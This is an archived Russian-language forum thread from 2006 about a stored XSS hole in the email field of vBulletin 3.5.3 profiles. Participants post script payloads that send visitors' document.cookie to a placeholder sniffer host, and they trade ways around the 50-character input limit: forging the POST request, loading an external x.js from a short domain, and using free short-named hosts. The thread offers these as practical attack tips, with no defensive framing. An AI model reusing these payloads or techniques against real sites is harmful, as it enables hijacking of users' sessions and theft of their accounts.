ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Перезагрузить страницу vBulletin 3.5.3. Вопрос по XSS в поле email
   
 
 
Опции темы Поиск в этой теме Опции просмотра

vBulletin 3.5.3. Вопрос по XSS в поле email
  #1  
Старый 08.09.2006, 16:42
r0
Постоянный
Регистрация: 17.07.2005
Сообщений: 475
Провел на форуме:
1665310

Репутация: 488
Smile vBulletin 3.5.3. Вопрос по XSS в поле email
В этой версии форума в поле mail в профиле, можно провести xss

Цитата:
mail@mail.com”><script>img = new Image(); img.src = "http://сниффер/картинка.jpg?"+document.cookie;</script>.nomatt
Вот, но поле для ввода ограничено 50ти символами, эм.. возникает вопрос: как быть тогда? +)
 

  #2  
Старый 08.09.2006, 17:05
D=P=CH= MOD=
Постоянный
Регистрация: 15.08.2006
Сообщений: 404
Провел на форуме:
3811682

Репутация: 641
Отправить сообщение для D=P=CH= MOD= с помощью ICQ
По умолчанию
Наверное тогда никак - скрипт если тока уменьшить, но кажись это не реал...
Для того и есть эти ограничения)
 

  #3  
Старый 08.09.2006, 17:12
r0
Постоянный
Регистрация: 17.07.2005
Сообщений: 475
Провел на форуме:
1665310

Репутация: 488
По умолчанию
В том то и дело) как тестилось-то? на локалхосте? зачем тогда xss? просто, чтобы признать ее существование?
 

  #4  
Старый 08.09.2006, 19:04
wsr
Новичок
Регистрация: 20.04.2005
Сообщений: 9
Провел на форуме:
16469

Репутация: 0
По умолчанию
Все гораздо проще, формируете ПОСТ запрос и туда подставляете все что нужно вместо поля e-mail. Все ограничения сразу же отпадают. У меня все работает без проблем.
 

  #5  
Старый 09.09.2006, 12:54
Azazel
Заведующий всем
Регистрация: 17.04.2005
Сообщений: 1,062
Провел на форуме:
5957900

Репутация: 561


По умолчанию
yaa@mail.ru”<script>src=http://aa.bab.ru/x.js?<b> Хехе 49 символов. Если удасться такой короткий url найти для сайта.))) А в x.js img = new Image(); img.src = "http://сниффер/картинка.jpg?"+document.cookie;

Может сработает, а может и нет. ))
__________________
Full DNS report
 

  #6  
Старый 09.09.2006, 16:00
r0
Постоянный
Регистрация: 17.07.2005
Сообщений: 475
Провел на форуме:
1665310

Репутация: 488
По умолчанию
спасибо за идею)
 

  #7  
Старый 09.09.2006, 18:41
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию
под такой пример подойдет фришный хост на холме у них там h10.ru и h7.ru вместо лонига 2-3 символа
 
 



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ